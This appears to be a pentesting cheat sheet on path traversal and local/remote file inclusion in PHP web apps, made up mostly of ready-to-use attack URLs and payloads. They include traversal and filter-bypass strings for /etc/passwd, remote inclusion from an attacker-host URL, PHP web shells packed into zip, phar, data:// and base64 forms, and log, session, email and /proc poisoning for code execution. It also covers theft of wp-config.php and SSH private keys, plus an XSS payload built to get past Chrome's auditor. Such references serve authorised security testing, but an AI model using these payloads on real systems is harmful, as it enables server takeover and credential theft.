Path traversal & LFI/RFI
Basic path traversal
http://website.com/index.php?page=../../../etc/passwd
Inside the same directory
http://website.com/index.php?page=dir1/dir2/../../../../../etc/passwd
Here is a list to my gist holding a list of a bunch of paths to try. https://gist.github.com/TurboWindX/9e4f753868de11b2f96bc3c74dc320ef https://gist.github.com/TurboWindX/37454e618bcf8ed4ff8eed7a169ee6bf
Filter Bypass
Encoding
Encode path traversal payload into different encoding such as double-URL, etc.
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=....%c0%af//....%c0%af....//%c0%afetc%c0%afpasswd
Make sure to bypass front-end user input sanitization by using a web proxy such as ZAProxy or burp.
Path truncation
Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.
Remote file inclusion
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Wrappers
Wrapper php://filter
Base64 and rot13
The part "php://filter" is case insensitive
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
zlib (compression)
Can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
To read the comppression data you need to decode the base64 and read the resulting data using:
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
NOTE: Wrappers can be chained
Wrapper zip://
Upload a Zip file with a PHPShell inside and access it.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
Wrapper data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Note that this protocol is restricted by php configurations allow_url_open
and allow_url_include
Wrapper expect://
Expect has to be activated. You can execute code using this.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Wrapper input://
Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
Wrapper phar://
A .phar
file can be also used to execute PHP code if the web is using some function like include
to load the file.
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
And you can compile the phar
executing the following line:
php --define phar.readonly=0 create_path.php
A file called test.phar
will be generated that you can use to abuse the LFI.
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.com/index.php?page=expect://ls
Wrapper Input
http://example.com/index.php?page=php://input
POST DATA: <?php system('whoami'); ?>
LFI->RCE
Log Poisoning
If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?>
and execute code using the "c" GET parameter.
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Via Email
Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?>
and access to the mail /var/mail/USER&cmd=whoami
Via /proc/*/fd/*
Upload a lot of shells (for example : 100)
Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
Wordpress
Try following payload to grab wordpress config
php://filter/convert.base64-encode/resource=../../../../../wp-config.php
FLASK Template Injection
Use following payload as parameter
{{ get_user_file("/etc/passwd") }}
Last updated
Was this helpful?